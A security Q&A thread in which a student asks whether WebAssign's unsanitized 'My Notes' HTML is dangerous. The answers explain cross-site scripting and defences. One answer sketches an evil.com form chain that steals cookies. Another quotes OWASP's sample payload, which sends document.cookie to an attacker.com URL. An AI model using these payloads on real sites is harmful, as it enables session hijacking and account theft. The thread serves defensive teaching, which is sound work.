2

My school uses the website WebAssign for online math and science homework. One of WebAssign's features is a "My Notes" section that allows you to input notes for a problem and come back to it later without actually submitting the answer.

The "My Notes" dialog has an <input> button to edit the text, and a <div> whose innerHTML is the raw contents of the notes. This means that, for example, writing &pi; in the notes box will cause π to appear in the rendered view.

Another interesting side effect is that it's the rendered HTML that's copied into the box for further editing. For example, writing &amp;gt; and then pressing "Edit" and "Save" repeatedly would result in the sequence &amp;gt;&gt;> showing up in the editor.

You can also break the page by writing something like </div></body></html>, which is injected into the HTML raw.

My question is whether there's anything inherently dangerous to the server or any other users of the website here. It would seem to me that there isn't—I have no indication that the server is actually executing any scripts, etc. that I might put in there, only storing the text and feeding it back later. However, there also seems to be something just wrong about this lack of sanitization in a production website. So is this a problem?

  • 5
    An aside: When I last evaluated WebAssign in 2003 or so, their core functionality allowed anyone who registered as "instructor" to submit perl code that would get executed on the server as part of the application. This was claimed as a deliberate feature. When I asked how they expect to prevent abuses, they said they explicitly trust instructors. Needless to say, any other security problems with the product don't surprise me in the slightest. – mricon Nov 11 '13 at 22:43
  • XSS has been covered in terms of the vulnerability that is active with the WebAssign app. What about the form submit process? Is there a CSRF token preventing external posts? Can you duplicate the from on a localhost machine, and while logged in, forcefully submit a form (from this localhost) to the Web Assign system? This can take the Security process even deeper within the system – lockdown Dec 9 '13 at 17:37
6

Looking at your description, the application seems to be vulnerable to Cross-Site Scripting (XSS). Such attack can lead to the compromise of student accounts and even accounts with higher privileges. This can be demonstrated by:

  1. The victim clicks a shortened link leading to http://evil.com.

  2. The page http://evil.com contains a hidden 'My Notes' form that is pre-filled with malicious <script> (a script that sends the user's cookie to the attacker).

  3. The form is automatically submitted to the legitimate WebAssign URL (not that the request is sent from the victim's browser, meaning that it is sent with the victim's cookie).

  4. The legitimate WebAssign page is rendered with the malicious <script> which is executed and the victim's cookie is sent to the attacker.

This can be mitigated by properly sanitizing the user-supplied HTML content before sending it to the browser and by setting the HttpOnly flag with the cookies.

4

The vulnerabilities you describe open other users to Cross-Site Scripting (XSS) attacks.

An example directly from the OWASP site:

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT' value='" +
request.getParameter("CC") + "'>";

The attacker modifies the 'CC' parameter in their browser to:

'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi
?foo='+document.cookie</script>'.

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.